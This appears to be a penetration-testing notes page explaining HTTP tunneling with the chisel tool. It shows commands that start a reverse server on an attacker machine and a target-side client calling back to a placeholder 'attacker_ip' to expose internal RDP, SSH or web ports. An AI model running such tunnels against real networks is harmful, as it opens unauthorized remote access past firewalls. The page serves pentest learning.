> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/pivoting-port-forwarding/http-tunneling-chisel.md).

# HTTP Tunneling (chisel)

**HTTP tunneling** is a method of encapsulating network traffic (such as TCP connections) within HTTP requests and responses, enabling communication across restrictive firewalls and proxies. It is particularly useful when traditional traffic is blocked but HTTP(S) traffic is allowed.

**Chisel** is a fast TCP/UDP tunnel, transported over HTTP or WebSocket. It is commonly used for creating reverse tunnels and allows penetration testers to tunnel arbitrary TCP traffic through an HTTP/S connection.

***

### **Chisel Features**

* Works in client-server architecture.
* Supports **reverse tunneling**.
* Tunnels over **HTTP/HTTPS**.

***

#### **Download Chisel**

Download the appropriate Chisel binary from the [official GitHub repository](https://github.com/jpillora/chisel/releases) for both the attacker and target systems.

Make the binary executable (if using Linux):

```bash
chmod +x chisel
```

***

#### **Start Chisel Server (on Attacker Machine)**

Run the Chisel server on the attacker's machine, listening on a specific port. Use the `--reverse` flag to allow reverse port forwarding.

```bash
./chisel server --reverse --port 8000
```

This starts a Chisel server on port 8000 and allows incoming client connections to set up reverse tunnels.

***

#### **Start Chisel Client (on Target Machine)**

From the internal (target) machine, initiate a connection back to the Chisel server using HTTP/S.

For example, to expose an internal service (e.g., RDP or HTTP on port 3389) to the attacker:

```bash
./chisel client http://attacker_ip:8000 R:9999:127.0.0.1:3389
```

This command creates a reverse tunnel from:

* **Local port 127.0.0.1:3389** on the target (e.g., RDP),
* To **attacker\_ip:9999**, through an HTTP tunnel.

***

#### **Access the Internal Service (From Attacker Machine)**

Now, on the attacker machine, access the tunneled service locally on port 9999:

```bash
rdesktop 127.0.0.1:9999
# or
xfreerdp /v:127.0.0.1:9999
```

***

### **Common Use Cases**

| Use Case                   | Example Command (Client Side) |
| -------------------------- | ----------------------------- |
| Expose internal web server | `R:8080:127.0.0.1:80`         |
| Tunnel RDP from target     | `R:9999:127.0.0.1:3389`       |
| Tunnel SSH from target     | `R:2222:127.0.0.1:22`         |
| Tunnel custom application  | `R:9001:127.0.0.1:1234`       |